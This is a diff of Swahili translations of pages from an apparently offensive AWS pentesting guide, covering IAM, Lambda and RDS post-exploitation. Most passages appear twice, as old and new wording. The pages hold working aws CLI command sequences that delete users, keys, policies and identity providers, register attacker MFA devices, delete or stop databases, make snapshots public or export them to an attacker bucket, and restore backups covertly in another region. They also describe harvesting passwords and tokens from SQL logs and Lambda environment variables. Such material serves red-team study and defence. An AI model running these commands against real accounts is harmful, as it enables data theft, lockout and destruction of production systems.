@@ -73,9 +73,9 @@ Sera hii **inaruhusu akaunti yoyote** kusanidi apigateway yao kuitisha Lambda hi
}
}
```
Iwapo S3 bucket imepewa kama principal, kwa sababu S3 buckets hazina Account ID, ikiwa wewe **ulifuta bucket yako na mshambuliaji aliiunda** katika akaunti yao wenyewe, basi wanaweza kutumia vibaya hili.
Ikiwa S3 bucket imetolewa kama principal, kwa sababu S3 buckets hazina Account ID, ikiwa wewe **ulifuta bucket yako na attacker aliitengeneza** katika account yao wenyewe, basi wanaweza kuitumia vibaya.
#### Not supported
#### Haiungwa mkono
```json
{
"Effect": "Allow",
@@ -84,10 +84,10 @@ Iwapo S3 bucket imepewa kama principal, kwa sababu S3 buckets hazina Account ID,
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni kutumia condition na `AWS:SourceArn` kukagua origin ARN. Hata hivyo, **huduma nyingine zinaweza kutoiunga mkono hili** (kama CloudTrail kulingana na baadhi ya vyanzo).
Njia ya kawaida kuepuka matatizo ya Confused Deputy ni kutumia sharti na `AWS:SourceArn` kuthibitisha ARN ya asili. Hata hivyo, **huduma zingine huenda haziiungi mkono hili** (kama CloudTrail kulingana na vyanzo vingine).
### Credential Deletion
Kwa yoyote ya ruhusa zifuatazo — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — mhusika anaweza kuondoa access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates au CloudFront public keys, au disassociate roles kutoka instance profiles. Vitendo hivyo vinaweza mara moja kuzuia watumiaji halali na applications na kusababisha denial-of-service au loss of access kwa systems zinazotegemea credentials hizo, hivyo ruhusa hizi za IAM lazima ziwekwe kikomo kwa ukali na zifuatiliwe.
### Ufutaji wa Kredenshali
Kwa kutumia mojawapo ya ruhusa zifuatazo — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — mtendaji anaweza kuondoa vifunguo vya ufikiaji, wasifu za kuingia, SSH keys, kredenshali maalum za huduma, wasifu za instance, vyeti au CloudFront public keys, au kutenganisha majukumu kutoka kwa wasifu za instance. Vitendo hivi vinaweza kubana mara moja watumiaji halali na programu na kusababisha denial-of-service au kupoteza ufikiaji kwa mifumo inayotegemea kredenshali hizo, hivyo idhini hizi za IAM zinapaswa kudhibitiwa kwa ukali na kufuatiliwa.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
@@ -99,8 +99,8 @@ aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### Ufutaji wa Vitambulisho
Kwa ruhusa kama `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, au `iam:RemoveUserFromGroup`, mtendaji anaweza kufuta watumiaji, majukumu, au makundi—au kubadilisha uanachama wa kundi—akiondoa vitambulisho na alama zinazohusiana nazo. Hii inaweza mara moja kuvunja upatikanaji kwa watu na huduma zinazotegemea vitambulisho hivyo, kusababisha denial-of-service au kupoteza upatikanaji, hivyo vitendo hivi vya IAM vinapaswa kudhibitiwa kwa ukali na kufuatiliwa.
### Kufutwa kwa Vitambulisho
Kwa ruhusa kama `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, au `iam:RemoveUserFromGroup`, mhusika anaweza kufuta watumiaji, nafasi (roles), au vikundi—au kubadilisha uanachama wa kikundi—kuondoa vitambulisho na alama zinazohusiana. Hii inaweza mara moja kuvunja upatikanaji kwa watu na huduma zinazotegemea vitambulisho hivyo, ikasababisha denial-of-service au kupoteza upatikanaji, hivyo vitendo hivi vya IAM vinapaswa kuzuiwa kwa ukali na kusimamiwa.
```bash
# Delete a user
aws iam delete-user \
@@ -114,7 +114,8 @@ aws iam delete-group \
aws iam delete-role \
--role-name <Role>
```
Kwa idhini yoyote kati ya zifuatazo — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — mtendaji anaweza kufuta au kutenganisha managed/inline policies, kuondoa matoleo ya policy au permissions boundaries, na kuondoa uhusiano wa policies na users, groups, au roles. Hii inaangamiza authorizations na inaweza kubadilisha modeli ya permissions, ikasababisha kupoteza ufikiaji mara moja au denial-of-service kwa principals waliotegemea policies hizo, hivyo vitendo hivi vya IAM vinapaswa kuwekewa vikwazo vikali na kufuatiliwa.
###
Kwa ruhusa zozote zifuatazo — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — mtendaji anaweza kufuta au kuondoa managed/inline policies, kuondoa matoleo ya sera au vizuizi vya ruhusa, na kuondoa uhusiano wa sera kutoka kwa watumiaji, vikundi, au nyadhifa. Hii inaangamiza idhini na inaweza kubadilisha mfumo wa ruhusa, kusababisha kupoteza ufikiaji mara moja au kukataliwa kwa huduma kwa wadau waliotegemea sera hizo, hivyo vitendo hivi vya IAM vinapaswa kuwekwa vikwazo vikali na kufuatiliwa.
```bash
# Delete a group policy
aws iam delete-group-policy \
@@ -126,8 +127,8 @@ aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### Ufutaji wa Utambulisho wa Muungano
Kwa kutumia `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, na `iam:RemoveClientIDFromOpenIDConnectProvider`, mhusika anaweza kufuta watoaji wa utambulisho wa OIDC/SAML au kuondoa client IDs. Hii inavunja uthibitishaji wa muungano, kuzuia uhakiki wa token na kukataa mara moja upatikanaji kwa watumiaji na huduma zinazotegemea SSO hadi IdP au mipangilio irejeshwe.
### Ufutaji wa Utambulisho wa Ushirikiano
Kwa kutumia `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, na `iam:RemoveClientIDFromOpenIDConnectProvider`, mtendaji anaweza kufuta watoa utambulisho wa OIDC/SAML au kuondoa client IDs. Hii inavunja uthibitishaji ulioshirikishwa, ikizuia uthibitishaji wa tokeni na kukatisha mara moja upatikanaji kwa watumiaji na huduma zinazotegemea SSO hadi IdP au usanidi utakaporejeshwa.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
@@ -137,8 +138,8 @@ aws iam delete-open-id-connect-provider \
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### Uwezeshaji usiohalali wa MFA
Kwa kutumia `iam:EnableMFADevice`, mhusika anaweza kusajili kifaa cha MFA kwenye utambulisho wa mtumiaji, na kuzuia mtumiaji halali kuingia. Mara kifaa cha MFA kisichoidhinishwa kitakapowashwa, mtumiaji anaweza kufungiwa nje hadi kifaa hicho kiondolewe au kirudishwe upya (kumbuka: ikiwa vifaa vingi vya MFA vimesajiliwa, kuingia kunahitaji kifaa kimoja tu, hivyo shambulio hili haliwezi kuzuia upatikanaji).
### Uwezeshaji wa MFA Bila Ruhusa
Kwa kutumia `iam:EnableMFADevice`, mwovu anaweza kusajili kifaa cha MFA kwenye utambulisho wa mtumiaji, akizuia mtumiaji halali kuingia. Mara tu MFA isiyoidhinishwa inapowezeshwa, mtumiaji anaweza kufungiwa hadi kifaa hicho kiondolewe au kuwekwa upya (kumbuka: ikiwa vifaa vingi vya MFA vimesajiliwa, kuingia kunahitaji kimoja tu, hivyo shambulio hili halitaathiri kuzuia ufikiaji).
```bash
aws iam enable-mfa-device \
--user-name <Username> \
@@ -146,8 +147,8 @@ aws iam enable-mfa-device \
--authentication-code1 123456 \
--authentication-code2 789012
```
### Certificate/Key Metadata Tampering
Kwa kutumia `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, mhusika anaweza kubadilisha hali au metadata ya public keys na certificates. Kwa kuifanya keys/certificates zisizofanya kazi au kubadilisha marejeleo, wanaweza kuvunja SSH authentication, kuharibu uthibitisho za X.509/TLS, na kuvuruga mara moja huduma zinazotegemea credentials, kusababisha kupoteza ufikiaji au upatikanaji.
### Kupotosha Metadata ya Vyeti na Funguo
Kwa kutumia `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, mtendaji anaweza kubadilisha hali au metadata ya funguo za umma na vyeti. Kwa kuweka funguo/vyeti kuwa zisizo hai au kwa kubadilisha references, wanaweza kuvunja uthibitishaji wa SSH, kuharibu uthibitisho za X.509/TLS, na kusababisha huduma zinazotegemea credentials kuathirika mara moja, na hivyo kusababisha kupoteza ufikiaji au upatikanaji.
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
@@ -160,7 +161,7 @@ aws iam update-server-certificate \
```
### `iam:Delete*`
Wildcard ya IAM iam:Delete* inatoa uwezo wa kuondoa aina nyingi za rasilimali za IAMusers, roles, groups, policies, keys, certificates, MFA devices, policy versions, n.k.—na kwa hivyo ina blast radius kubwa sana: mhusika aliyepewa iam:Delete* anaweza kuharibu kwa kudumu identities, credentials, policies na artifacts zinazohusiana, kuondoa audit/evidence, na kusababisha service au operational outages. Baadhi ya mifano ni
Wildcard ya IAM iam:Delete* inatoa uwezo wa kuondoa aina mbalimbali za rasilimali za IAMusers, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. — na kwa hivyo ina blast radius kubwa sana: actor aliyepewa iam:Delete* anaweza kuharibu milele identities, credentials, policies na artifacts zinazohusiana, kuondoa audit/evidence, na kusababisha outages za huduma au za kiutendaji. Baadhi ya mifano ni
```bash
# Delete a user
aws iam delete-user --user-name <Username>
@@ -173,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
```
### `iam:EnableMFADevice`
Mtu aliyepata ruhusa ya iam:EnableMFADevice anaweza kusajili kifaa cha MFA kwa kitambulisho ndani ya akaunti, mradi mtumiaji hakuwahi kuwa na mmoja aliyewezeshwa. Hii inaweza kutumika kuingilia upatikanaji wa mtumiaji: mara attacker anaposajili kifaa cha MFA, legitimate user anaweza kuzuizwa kuingia kwa sababu hawadhibiti MFA iliyosajiliwa na attacker.
Mhusika aliyepewa kitendo cha iam:EnableMFADevice anaweza kusajili kifaa cha MFA kwenye kitambulisho ndani ya akaunti, mradi mtumiaji hakuwa tayari amewezesha MFA. Hii inaweza kutumika kuingilia upatikanaji wa mtumiaji: mara mshambuliaji anaposajili kifaa cha MFA, mtumiaji halali anaweza kuzuiwa kuingia kwa sababu hawana udhibiti wa kifaa cha MFA kilichoandikishwa na mshambuliaji.
Shambulio hili la kukataliwa kwa upatikanaji linafanya kazi tu ikiwa mtumiaji hakuwa na MFA iliyosajiliwa; ikiwa attacker atasajili kifaa cha MFA kwa mtumiaji huyo, legitimate user atafungiwa kutoka kwa taratibu yoyote zinazohitaji MFA mpya hiyo. Ikiwa mtumiaji tayari ana kifaa kimoja au zaidi cha MFA chini ya udhibiti wao, kuongeza kifaa cha MFA kinachodhibitiwa na attacker hakutaweka kizuizi kwa legitimate user — wanaweza kuendelea authenticate kwa kutumia MFA yoyote waliyonayo tayari.
Shambulio hili la kuzuia upatikanaji linafanya kazi tu ikiwa mtumiaji hakuwa na kifaa cha MFA kilichosajiliwa; ikiwa mshambuliaji atasajili kifaa cha MFA kwa mtumiaji huyo, mtumiaji halali atafungiwa kutoka kwa taratibu zote zinazotegemea MFA hiyo mpya. Ikiwa mtumiaji tayari ana kifaa kimoja au zaidi cha MFA wanachodhibiti, kuongeza kifaa cha MFA kinachodhibitiwa na mshambuliaji hakutazuia mtumiaji halali — wanaweza kuendelea kuthibitisha utambulisho kwa kutumia kifaa chochote cha MFA walichonacho.
Ili kuwezesha (kusajili) kifaa cha MFA kwa mtumiaji, attacker anaweza kuendesha:
Ili kuwezesha (kusajili) kifaa cha MFA kwa mtumiaji, mshambuliaji anaweza kuendesha:
```bash
aws iam enable-mfa-device \
--user-name <Username> \

View File

@@ -12,17 +12,17 @@ Kwa maelezo zaidi angalia:
### Exfilrtate Lambda Credentials
Lambda inatumia environment variables kuingiza credentials wakati wa runtime. Ikiwa unaweza kupata ufikiaji kwao (kwa kusoma `/proc/self/environ` au kutumia function yenye udhaifu yenyewe), unaweza kuvitumia mwenyewe. Zinahifadhiwa katika majina ya default ya variable `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, na `AWS_ACCESS_KEY_ID`.
Lambda inatumia variables za mazingira kuingiza credentials wakati wa runtime. Ikiwa unaweza kupata ufikiaji kwao (kwa kusoma `/proc/self/environ` au kwa kutumia vulnerable function yenyewe), unaweza kuzitumia mwenyewe. Ziko katika majina ya default ya variable `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, na `AWS_ACCESS_KEY_ID`.
Kwa chaguo-msingi, hizi zitakuwa na ruhusa ya kuandika kwenye cloudwatch log group (jina lake limehifadhiwa katika `AWS_LAMBDA_LOG_GROUP_NAME`), pamoja na kuunda log groups yoyote, hata hivyo lambda functions mara nyingi zina ruhusa zaidi zilizotolewa kulingana na matumizi yao yaliyokusudiwa.
Kwa default, hizi zitakuwa na uwezo wa kuandika kwenye cloudwatch log group (jina lake linalohifadhiwa katika `AWS_LAMBDA_LOG_GROUP_NAME`), pamoja na kuunda arbitrary log groups; hata hivyo, lambda functions mara nyingi zina ruhusa zaidi zilizotengwa kulingana na matumizi yao yaliyokusudiwa.
### `lambda:Delete*`
Mshambuliaji aliyepatiwa lambda:Delete* anaweza kufuta Lambda functions, versions/aliases, layers, event source mappings na konfigurisho zingine zinazohusiana.
Mshambuliaji aliyepewa `lambda:Delete*` anaweza kufuta Lambda functions, versions/aliases, layers, event source mappings na usanidi mwingine unaohusiana.
```bash
aws lambda delete-function \
--function-name <LAMBDA_NAME>
```
### Kuiba Maombi ya URL za Lambda za Wengine
### Kuiba Maombi ya URL ya Lambda ya Wengine
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
@@ -30,7 +30,7 @@ If an attacker somehow manage to get RCE inside a Lambda he will be able to stea
aws-warm-lambda-persistence.md
{{#endref}}
### Kuiba Maombi ya URL za Lambda za Wengine & Maombi za Extensions
### Kuiba Maombi ya URL ya Lambda ya Wengine & Maombi ya Extensions
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
@@ -38,7 +38,7 @@ Abusing Lambda Layers it's also possible to abuse extensions and persist in the
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
### AWS Lambda Kupitisha Vizuizi vya Egress vya VPC
### AWS Lambda VPC Egress Bypass
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.

View File

@@ -4,7 +4,7 @@
## RDS
Kwa maelezo zaidi angalia:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Ikiwa mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB inapatikana kwa umma** kwa kuunda snapshot ya DB, kisha kuunda DB inayopatikana kwa umma kutoka kwa snapshot hiyo.
Iwapo mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB inayopatikana kwa umma** kwa kuunda snapshot ya DB, na kisha DB inayopatikana kwa umma kutoka kwa snapshot.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,21 +39,21 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
Mshambuliaji mwenye rds:StopDBCluster au rds:StopDBInstance anaweza kulazimisha kusimamisha mara moja RDS instance au cluster nzima, na kusababisha ukosefu wa upatikanaji wa database, miunganisho kuvunjika, na kusitishwa kwa michakato inayotegemea database.
Mshambuliaji mwenye rds:StopDBCluster au rds:StopDBInstance anaweza kulazimisha kusimamishwa mara moja kwa RDS instance au cluster nzima, kusababisha database kutopatikana, muunganisho kuvunjika, na kusitishwa kwa michakato inayotegemea database.
Kusimamisha DB instance moja (mfano):
Ili kusimamisha DB instance moja (mfano):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
Kusimamisha DB cluster yote (mfano):
Kusimamisha klasta nzima ya DB (mfano):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Delete*`
Mshambulizi aliyepatiwa ruhusa rds:Delete* anaweza kuondoa rasilimali za RDS, akifuta DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups na artefakti zinazohusiana, na kusababisha kukatika kwa huduma mara moja, kupoteza data, uharibifu wa pointi za urejesho na kupoteza ushahidi wa forensiki.
Mshambulizi aliyepewa `rds:Delete*` anaweza kuondoa rasilimali za RDS, ikiwa ni pamoja na kufuta DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups na artifacts zinazohusiana, na kusababisha kukatika kwa huduma mara moja, kupoteza data, uharibifu wa pointi za urejeshaji na kupotea kwa ushahidi wa forensiki.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +76,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Mvamizi mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuitengenezea **kwa umma** **kupatikana**. Kisha, anaweza kuunda tu katika akaunti yake mwenyewe DB kutoka kwa snapshot hiyo.
Mshambuliaji mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuifanya **kwa umma** **kupatikana**. Kisha, anaweza kuunda DB katika akaunti yake mwenyewe kutoka kwa snapshot hiyo.
Ikiwa mvamizi **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya snapshot zilizoundwa **zingine** **za umma**.
Ikiwa mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya snapshot zilizotengenezwa **nyingine** **kwa umma**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,37 +89,37 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za logi za mfano wa RDS**. Ikiwa data nyeti au kredensiali za ufikiaji zinaandikwa kwa bahati mbaya, mshambuliaji anaweza kutumia taarifa hizi kuongezea ruhusa zao au kufanya vitendo visivyoidhinishwa.
Mshambuliaji aliye na ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **download sehemu za log files za instance ya RDS**. Ikiwa data nyeti au access credentials zimeandikwa kwa bahati mbaya kwenye log files, mshambuliaji anaweza kutumia taarifa hizi kupandisha ngazi ya ruhusa zao au kufanya vitendo visivyoidhinishwa.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Athari Inayoweza Kutokea**: Ufikiaji wa taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia leaked credentials.
**Athari Zinazowezekana**: Kufikia taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia leaked credentials.
### `rds:DeleteDBInstance`
Mshambuliaji aliye na ruhusa hizi anaweza **DoS RDS instances zilizopo**.
Mshambuliaji akiwa na ruhusa hizi anaweza **kufanya DoS kwa RDS instances zilizopo**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Athari inayowezekana**: Uondoshaji wa instances za RDS zilizopo, na uwezekano wa kupoteza data.
**Athari inayoweza kutokea**: Ufutaji wa instances za RDS zilizopo, na uwezekano wa kupoteza data.
### `rds:StartExportTask`
> [!NOTE]
> TODO: Jaribu
> TODO: Kujaribu
Mshambulizi mwenye ruhusa hii anaweza **kuhamisha snapshot ya instance ya RDS kwenda kwenye S3 bucket**. Ikiwa mshambulizi anadhibiti S3 bucket ya lengo, anaweza kwa uwezekano kupata data nyeti iliyomo kwenye snapshot iliyohamishwa.
Mshambuliaji mwenye ruhusa hii anaweza **kuhamisha snapshot ya instance ya RDS kwenye S3 bucket**. Ikiwa mshambuliaji anadhibiti S3 bucket ya lengo, anaweza kupata data nyeti ndani ya snapshot iliyohamishwa.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Athari inayowezekana**: Kupata data nyeti kwenye snapshot iliyotumwa.
**Athari inayowezekana**: Upatikanaji wa data nyeti katika snapshot iliyotolewa.
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Kuiga Automated Backups kati ya Region kwa kurejesha kwa siri (`rds:StartDBInstanceAutomatedBackupsReplication`)
Tumia vibaya cross-Region automated backups replication kuiga kimyakimya automated backups za instance ya RDS hadi AWS Region nyingine na kurejesha hapo. Mvamizi anaweza kisha kufanya DB iliyorejeshwa ifikike kwa umma na kuweka upya master password ili kupata data out-of-band katika Region ambayo walinda hawatafuatilia.
Tumia vibaya kuiga automated backups kati ya Region ili kwa ukimya kunakili automated backups za instance ya RDS kwenda AWS Region nyingine na kuzirejesha huko. Mshambuliaji anaweza kisha kufanya DB iliyorejeshwa ifikike kwa umma na kuweka upya nenosiri kuu ili kufikia data out-of-band katika Region ambayo walinzi hawafuati.
Permissions needed (minimum):
Ruhusa zinazohitajika (minimamu):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
@@ -127,10 +127,10 @@ Permissions needed (minimum):
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Impact: Uendelevu na uondoshaji wa data kwa kurejesha nakala ya data ya production katika Region nyingine na kuiweka hadharani kwa kutumia credentials zinazodhibitiwa na mvamizi.
Athari: Uendelevu na uhamisho wa data kwa kurejesha nakala ya data ya uzalishaji katika Region nyingine na kuifungua kwa umma kwa kutumia vitambulisho vinavyodhibitiwa na mshambuliaji.
<details>
<summary>CLI kamili (badilisha vigezo)</summary>
<summary>CLI kutoka mwanzo hadi mwisho (badilisha vigezo)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -201,13 +201,13 @@ aws rds stop-db-instance-automated-backups-replication \
### Washa logging kamili ya SQL kupitia DB parameter groups na exfiltrate kupitia RDS log APIs
Tumia vibaya `rds:ModifyDBParameterGroup` pamoja na RDS log download APIs ili kunasa statement zote za SQL zinazotekelezwa na applications (hakuna DB engine credentials zinahitajika). Washa engine SQL logging na pakua file logs kupitia `rds:DescribeDBLogFiles` na `rds:DownloadDBLogFilePortion` (au REST `downloadCompleteLogFile`). Inafaa kukusanya queries ambazo zinaweza kuwa na secrets/PII/JWTs.
Abuse `rds:ModifyDBParameterGroup` pamoja na RDS log download APIs ili kushika taarifa zote za SQL zinazotekelezwa na applications (hakuna DB engine credentials zinazohitajika). Washa engine SQL logging na pakua file logs kupitia `rds:DescribeDBLogFiles` na `rds:DownloadDBLogFilePortion` (au REST `downloadCompleteLogFile`). Inafaa kukusanya queries ambazo zinaweza kuwa na secrets/PII/JWTs.
Ruhusa zinazohitajika (ya chini):
Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (tu ili kuambatisha custom parameter group ikiwa instance inatumia default)
- `rds:RebootDBInstance` (kwa parameters zinahitaji reboot, mfano PostgreSQL)
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
Steps
1) Recon target and current parameter group
@@ -216,9 +216,9 @@ aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Hakikisha DB parameter group maalum imeambatishwa (haiwezi kuhariri ya chaguo-msingi)
- Ikiwa instance tayari inatumia DB parameter group maalum, tumia tena jina lake katika hatua inayofuata.
- Vinginevyo, unda na uambatisho mmoja unaolingana na familia ya engine:
2) Hakikisha custom DB parameter group imeambatishwa (huwezi kuhariri default)
- Ikiwa instance tayari inatumia custom group, tumia tena jina lake katika hatua inayofuata.
- Vinginevyo, unda na uambatisha moja inayolingana na engine family:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -232,8 +232,8 @@ aws rds modify-db-instance \
--apply-immediately
# Wait until status becomes "available"
```
3) Washa verbose SQL logging
- MySQL engines (mara moja / bila kuanzisha upya):
3) Washa ufuatiliaji wa SQL wa kina
- MySQL engines (mara moja / hakuna kuanzisha upya):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -244,7 +244,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL injini (inahitaji kuanzishwa upya):
- PostgreSQL engines (inahitaji reboot):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -256,11 +256,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Acha workload iende (au tengeneza queries). Statements zitaandikwa kwenye engine file logs
4) Acha workload ifanye kazi (au generate queries). Statements zitaandikwa kwenye engine file logs
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Gundua na pakua logs (hakuna DB creds zinahitajika)
5) Gundua na pakua logs (no DB creds required)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -271,11 +271,11 @@ aws rds download-db-log-file-portion \
--starting-token 0 \
--output text > dump.log
```
6) Chambua nje ya mtandao kwa data nyeti
6) Chunguza nje ya mtandao kutafuta data nyeti
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Mfano wa ushahidi (umehaririwa):
Mfano wa ushahidi (imehaririwa):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
@@ -297,19 +297,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Athari: Post-exploitation kupata data kwa kurekodi statements zote za application SQL kupitia AWS APIs (hakuna DB creds), potentially leaking secrets, JWTs, and PII.
Athari: Post-exploitation data access kwa kukamata taarifa zote za SQL za application kupitia AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Kutumia vibaya RDS read replicas kupata out-of-band read access bila kugusa primary instance credentials. Mshambuliaji anaweza kuunda read replica kutoka kwa instance ya production, kuweka upya master password ya replica (hii haibadilishi primary), na kwa hiari kuifungua replica hadharani ili exfiltrate data.
Abuse RDS read replicas ili kupata out-of-band read access bila kugusa primary instance credentials. Mshambuliaji anaweza kuunda read replica kutoka kwa production instance, reset the replica's master password (hii haitabadilisha primary), na kwa hiari expose replica hadharani ili exfiltrate data.
Permissions needed (minimum):
Ruhusa zinazohitajika (chini kabisa):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Athari: Read-only access kwa data ya production kupitia replica yenye credentials zinazodhibitiwa na mshambuliaji; uwezekano mdogo wa kugunduliwa kwani primary inabaki bila kuguswa na replication inaendelea.
Athari: Ufikiaji wa kusoma-tu kwa production data kupitia replica yenye credentials zinazodhibitiwa na mshambuliaji; uwezekano mdogo wa kugunduliwa kwani primary hubaki bila kuguswa na replication inaendelea.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
